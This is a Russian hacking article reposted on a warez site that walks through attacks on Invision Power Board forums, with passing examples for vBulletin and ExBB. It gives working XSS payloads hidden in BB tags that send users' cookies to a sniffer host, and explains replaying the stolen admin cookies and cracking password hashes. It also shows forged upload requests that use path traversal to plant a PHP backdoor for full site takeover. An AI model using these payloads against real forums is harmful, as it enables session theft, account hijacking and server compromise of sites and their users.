Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/vasya/data/www/inym.ru/engine/modules/show.full.php on line 343 Уязвимости форумов Invision Power Board. » Inym.ru - все бесплатное на одном сайте. Столько бесплатного нету нигде!
pravila
Главная
High Tech
Софт
Игры
Фильмы
Видео
Музыка
Картинки
Мобила
Юмор
Хакинг
::. Уязвимости форумов Invision Power Board. | Хакинг
Уязвимости форумов Invision Power Board.

Часть 1

Эти форумы поддерживаются фирмой http://www.invisionboard.com. Первые версии этого форума были выпущены в 2001 году и обладают достаточно современными методами защиты. Описанные уязвимости присутствуют не во всех версиях форумов. Ниже приводится взлом на примере форума http://forum.web-hack.ru.
Суть уязвимости
Чаще всего дырки форумов, аналогичных Invision Power Board, кроются в неаккуратном использовании BB тегов, плюс недостаточно надежная система идентификации пользователей.

Внимательно посмотрим на использование тега [video] в форуме http://forum.web-hack.ru. Формат использования его таков: [video]http://xxxx.xx[/video]. При отправке такого сообщения в форум, этот код преобразуется в следующий HTML код: . Обратим внимание на то, что адрес вставляется в src тега без окружающих кавычек, что является грубой ошибкой веб-мастера. Кроме того, адрес в теге [video] пропускает почти все символы, в том числе пробелы и знаки =. Не пропускаются(точнее преобразуются) только кавычки(одинарная и двойная) и угловые скобки. Отсутствие окружающих кавычек атрибута src, позволяет выходить в тело тега, и конечном итоге - выполнять инжекцию произвольного скрипта в страницу.

Помимо тега [video], данный форум содержит похожие уязвимости в других BB тегах.
Использование уязвимости

Опишем процесс получения прав администратора, с помощью описанной уязвимости.

Форум Invision Power Board использует идентификацию пользователей на базе cookies. После авторизации, форум прописывает у пользователя два кука: member_id и pass_hash. Как легко понять, первый из них содержит идентификационный код пользователя, второй - хеш код пароля. Если нам станут известны значения этих двух куков, то мы получим возможность подделывать свои HTTP запросы форуму так, что он будет принимать нас за другого пользователя (id и пароль которого мы укажем). Таким образом, узнав куки администратора, мы получим администраторские права.

Для получения куков использовался следующий текст сообщения, который был отослан в форум:

[video]http://1.ru e=`[/video]` style=display:none;background:url(javascript :document.images[12].src="http://адрес_сниффера.cgi?"+document.cookie) Lol

В качестве адреса тега [video] был уазан такой адрес http://1.ru e=`. Атрибут e=` был использован для того, что бы выйти за пределы тега [video], а саму инжекцю скрипта писать в основном теле сообщения, а не в поле адреса для video. Это было сделано для обхода возможных ограничений на длину адреса или фильтрации необходимых символов в строке адреса. Символ обратного апострофа закрывается уже вне тега [video], таким образом последующий текст будет расположен внутри тега после преобразования сообщения в HTML. Далее указывается атрибут style=display:none он необходим для скрытия объекта в постинге. При использовании этого атрибута, объект видео не будет виден на странице. Далее происходит инжекция javascript через background:url(javascript : ... ). В теле скрипта происходит замена src одного из рисунков, расположенных на странице форума. В качестве адреса для этой картинки передается адрес HTTP-сниффера плюс куки текущего документа: document.images[12].src="http://адрес_сниффера.cgi?"+document.cookie. При этом, браузер будет пытаться загрузить новую картинку, передав снифферу IP адрес пользователя, его referer и cookies. Далее нам нужно закрыть угловую скобку тега , для чего мы используем BB тег : [i]Lol.

После отсылки описанного сообщения в форум, его текст преобразуется в следующий HTML код:

` style=display:none;background:url(javascript :document.images[12].src="http://адрес_сниффера.cgi?="+document.cookie) Lol


Как видим, двойные кавычки вокруг адреса сниффера преобразовались в " но это не мешает работе скрипта, поскольку в атрибутах тегов раскодировка (т.е. преобразование из " в ") происходит до запуска скрипта. Таким образом, приведенный выше внедренный скрипт работает, и отсылает на сниффер куки пользователей.

Осталось дело за малым - подделать полученные куки в HTTP запросах. Для этого можно воспользоваться любой программой для подделки HTTP запросов (например InetCrack). Далее, нужно отловить HTTP запрос, соотвествующий какой-либо операции. Например HTTP запрос редактирования профиля пользователя выглядит так:

GET http://forum.web-hack.ru/index.php?s=9b28d2195f8ed4a32129656828d5e2dd&act=UserCP&CODE=00 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: ru
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: forum.web-hack.ru
Proxy-Connection: Keep-Alive
Cookie: member_id=xxxx; pass_hash=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; forum_read=a%3A1%3A%7Bi%3A1%3Bi%3A1085772263%3B%7D; anonlogin=-1
где member_id=xxxx; pass_hash=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; - номер пользователя и хеш его пароля. Подставив эти значения, получаем доступ к редактированию профиля соответствующего пользователя.

А вот пример HTTP запроса для модерирования одной из веток форума:

GET http://forum.web-hack.ru/index.php?s=1d8809cb4bdf328df72255ed12a60f84&act=modcp&forum= HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: ru
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: forum.web-hack.ru
Proxy-Connection: Keep-Alive
Cookie: session_id=97b928bab6cdc691336eb1cf507c2ff1; hotlog=1; MT=1; forum_read=a%3A1%3A%7Bi%3A1%3Bi%3A1085772263%3B%7D; member_id=xxxx; pass_hash=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; anonlogin=-1

Подcтавив код модератора и его пароль, получаем доступ к командам управления форумом.

Здесь приведены некоторые скриншоты, демонстрирующие наличие уязвимости:
# Отправка постинга с внедренным скриптом >>
# Опция поиска пользователей по IP адресу >>
# Окно управления форумом >>
Итого
Форумы Invision Power Board имеют уязвимости BB тегов, позволяющие делать инжекцию скриптов и захват прав.

Уязвимость еще и опасна тем, что данные форумы широко распространены в сети. Помимо web-hack.ru, форумы IPB имеются также на таких широко известных сайтах, как:

# http://forum.ichip.ru
# http://www.bestfilez.net/forums/
# http://forum.bsoft.ru
# http://www.nht-team.org/forum/
и многих других ...

Часть 2


Мы уже писали об уязвимостях данного вида форумов в части 1.
Форум http://forum.web-hack.ru исправил уязвимость, связанную с тегом [video]. Теперь атрибут src внутри заключается в кавычки, и выход в тело тега невозможен. Но оказалось что тег [video] имеет еще одну уязвимость...

Суть уязвимости

При посылке в сообщении BB тега [video], он заменяется на HTML тег , а переданный адрес клипа вставляется в атрибут src. При этом адрес не проверяется на корректность протокола. Т.е. вместо [video]http://super.ru/clip.avi[/video], можно написать так: [video]javascript:alert()[/video]. При этом форум пропустит такой BB код, и сформирует следующий HTML: . Однако, при отображении такой странички, скрипт не сработает. Это происходит из-за того, что тег embed ожидает источник x-shockwave-video, т.е. файл с расширением .avi или .mov, а мы ему передаем источник неизвестного формата. Для того, что бы скрипт сработал, просто изменим свой месседж таким образом: [video]javascript:alert();this.avi[/video]. При этом, тег embed воспримет this.avi как имя файла, попытается загрузить его, но поскольку протокол указан не http, а javascript, то естественно начнет выполняться скрипт.

Аналогичной уязвимостью обладает и тег [sound], с той лишь разницей, что вместо раширения .avi нужно указывать .wav.

Использование уязвимости

Уязвимость позволяет завладеть админскими полномочиями, мы это подробно описывали в части 1. В данном случае, скрипт для получения куков может выглядеть например так:
[video]javascript: document.body.background="http://адрес_сниффера/sniffer.cgi?"+document.cookie; document.embeds[0].style.display="none";this.avi[/video]

Вместо угона куков, можно и просто попугать населенеие таким скриптом:
[video]javascript:document.body.background="http://antichat.ru/h.gif"; document.body.innerHTML='';this.avi[/video].
Результат вот :



Часть 3



В статье описывается захват сайта, использующего форум Invision Power Board.

Внимание: статья написана в ознакомительных целях. Не пытайтесь использовать данную статью в целях взлома сайтов, это уголовно наказуемо.

Целью наших действий будет загрузка на удаленный сайт PHP-скрипта, дающего доступ к файловой системе сервера (т.н. backdoor).

Метод взлома

Захват сайта осуществляется в два этапа. Первый - получение логина и пароля администратора форума. Второй - загрузка на сайт специального php-скрипта, позволяющего оперировать файлами сервера.

В статьях на нашем сайте уже писалось про XSS уязвимости форумов IPB (ссылка), и демонстрировался механизм получения прав модератора форума. Уязвимости позволяют нам, также, получить хеш-код пароля администратора. Если хеш в наших руках, можем двигаться дальше.

Для администраторов, форум IPB использует двойную защиту: сначала нужно зайти на сайт под логином/паролем администратора, а затем для входа в админку требуется снова ввести логин/пароль для получения администраторской сессии. Таким образом, одного только хеш-кода пароля мало для доступа к админке форума. Хеш код нужно расшифорвать. Для расшифровки хеша можно воспользоваться, например, програмкой MD5Inside.

После расшифровки хеша, мы получаем доступ к панели управления форумом. Наша цель- залить на сайт файл с расширением php. Это может оказаться непросто, поскольку админка IPB предусматривает изменения только HTML-шаблонов, но не PHP скриптов. Однако, такая возможность все таки существует.

Один из способов загрузки произвольных PHP скриптов на сайт, осуществляется через меню Manage emoticons. Внизу мы видим форму для отправки смайликов на сервер. Защиты на тип файлов для смайликов, в IPB не предусмотрено, поэтому без труда можно залить файл произвольного типа.

Если загрузка удалась, то к файлу будет доступ по адресу http://someSiteForum/html/emoticons/myFile.php, и взлом можно считать законченным. Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи.

Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос.

Исходный запрос для загрузки файла выглядит следующим образом:

POST http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7&act=op&code=emo
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 677
Pragma: no-cache
Cookie: member_id=1; pass_hash=cf20fc37b4g0be45c1336f29d444e798;

-----------------------------7d43942c405bc
Content-Disposition: form-data; name="adsess"

7456d367b18da87d161f59424a4e96f7
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="code"

emo_upload
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="act"

op
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000000
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="FILE_UPLOAD"; filename="c:/myFile.php"
Content-Type: application/octet-stream


-----------------------------7d43942c405bc--
Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера.

Для загрузки скрипта в папку uploads, использовался такой запрос:

POST http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7&act=op&code=emo
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 677
Pragma: no-cache
Cookie: member_id=1; pass_hash=cf20fc37b4g0be45c1336f29d444e798;

-----------------------------7d43942c405bc
Content-Disposition: form-data; name="adsess"

7456d367b18da87d161f59424a4e96f7
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="code"

emo_upload
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="act"

op
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000000
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="FILE_UPLOAD"; filename="../../uploads/myFile.php"
Content-Type: application/octet-stream


-----------------------------7d43942c405bc--
Для отсылки модифицированного запроса, использовалась программа InetCrack.

После загрузки на сервер PHP-скрипта типа remview.php(удаленный файловый web-менеджер), который будет доступен по адресу http://someSiteForum/uploads/remview.php, мы получаем полный контроль над сайтом.

Часть 4


Мы уже писали об уязвимостях данного вида форумов в части1,2,3. Эти уязвимости касались в первую очередь различных модификаций форума. В ядре форума от производителя этих уязвимостей не было. Уязвимость, которую мы опишем здесь, касается абсолютно всех версий форума от Invision, включая наиболее популярную версию 1.3.x и последний релиз 2.0.0. Кроме того, уязвимости описанного типа встречаются в очень многих других движках (vBulletin, ExBB и др.).

Суть уязвимости

Уязвимость проявляется при вставке одного BB тега, в качестве аргумента другого BB тега ( спаренные теги). При этом, оба тега парсятся в соответствующие HTML теги, но поскольку один из них оказывается внутри атрибутов другого, то структура HTML нарушается. Нарушение структуры может быть использовано для вставки произвольного скрипта.

Рассмотрим тег bla-bla-bla. После преобразования в HTML этот тег будет выглядеть следующим образом:

bla-bla-bla

Небольшие эксперименты с этим тегом показывают, что в качестве color можно указывать любые символы, кроме точки запятой (очевидно, это сделано для защиты от инъекций скриптов в style). Символ кавычки преобразуется в ', что не позволяет выйти из атрибута style в тело тега.

А теперь посмотрим, что произойдет, если в качестве color указать другой BB тег, например [img]:

bla-bla-bla

С точки зрения движка форума, такая комбинация тегов оказывается корректной, поскольку ни атрибут color, ни тег [img] не содержат запрещенных символов.

После последовательного парсинга спаренных BB тегов в HTML, видим следующее:

'>bla-bla-bla

Полученная структура явно не является корректной для HTML. Так, например, кавычка из тега img закрывает кавычку атрибута style. Из-за разрушения тега, фрагмент http://aaa.aa/aaa.jpg оказывается вне атрибутов:

'color:'0' alt= 'user posted image' />'>bla-bla-bla
(серым веделены значения атрибутов)

Поскольку фрагмент http://aaa.aa/aaa.jpg оказывается внутри тега, то становится возможным внедрение скрипта. Например так:

` style=background:url(javascript:alert())

После преобразования в HTML, срабатывает скрипт:

'color:user posted image'>` style= background:url(javascript:alert())
(серым веделены значения атрибутов)

Особенности уязвимости

Понятно, что аналогичные уязвимости могут быть и в других спаренных тегах, и в других форумных движках.

Например, пара [EMAIL]+ [URL] в форумах vBulletin (v3.* и другие):

[EMAIL=[URL=s as=`s@wew.ew]mailto:assss@wew.ew ]
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`
Служебное слово javascript написано через табуляцию для обхода фильтров

Пара [COLOR]+ [URL] в форумах ExBB (версия 1.9.1 и другие):

fffff' style=background:url(javascript:alert());

ИМХО уязвимости спаренных тегов имеют не менее половины всех форумных движков. При поиске такого рода уязвимостей нужно учитывать, что срабатывание пары тегов зависит от порядка их парсинга в коде форума. Например связка ] срабатывает, а зеркальная связка [url=[color]] - нет. Это связано с тем, что скрипт форума в первую очередь парсит тег [color] а только затем [url]. Если к моменту парсинга [url] в нем будут содержаться некорректные символы, то он не преобразуется в HTML и уязвимости не будет. Таким образом, уязвимость может присутствовать только если первый тег связки парсится в первую очередь в скрипте форума.

Использование уязвимости

Уязвимость позволяет завладеть админскими полномочиями, мы это подробно описывали в части 1. В данном случае, скрипт для получения куков форума IPB может выглядеть например так:

[COLOR=Уязвимости форумов Invision Power Board.]` style=background:url(javascript:document.images[68].src="http://sniffSite/sniff.cgi?"+document.cookie)

После расшифровки MD5-хеша пароля администратора, становится возможным дефейс сайта

{loadpays}
Перед публикацией новости Уязвимости форумов Invision Power Board. администрация сайта осуществила проверку всех ссылок, но перед тем, как скачать Уязвимости форумов Invision Power Board., проверьте все ссылки на работоспособность. С нашего сайта можно скачать Уязвимости форумов Invision Power Board. бесплатно без регистрации. Для того что бы скачать Уязвимости форумов Invision Power Board. бесплатно воспользуйтесь ссылками выше.
 
| автор: vital | 11 января 2007 |
Наш портал предлагает Вам скачать фильмы, игры, музыку, и другие материалы. Все абсолютно бесплатно и нахаляву. Все файлы хранятся на различных файлообменниках, и возможна скачка без оплаты. Мы стараемся ежедневно наполнять наш портал новыми материалами. Спасибо Вам за посещение нас :). Ва?рез (англ. warez — сленговая версия «wares», сокращённого множественного числа от «software» — «программное обеспечение») — программа, распространяемая незаконным путем с нарушением прав автора. Часто содержит изменения и/или дополнения, позволяющие использовать ее бесплатно. Источниками вареза можно назвать «варезные сайты», то есть сайты, специализирующиеся на взломе лицензионного ПО и его последующем распространении, также IRC-сети и Usenet. Варез создается программистами-энтузиастами без преследования выгоды. Существуют целые коллективы программистов, занимающихся взломом ПО, например «FFF», «Team EQUiNOX», «BEAN», «SSG» и другие. С точки зрения законодательства многих стран изготовление и распространение вареза является уголовным преступлением.


Made by VITAL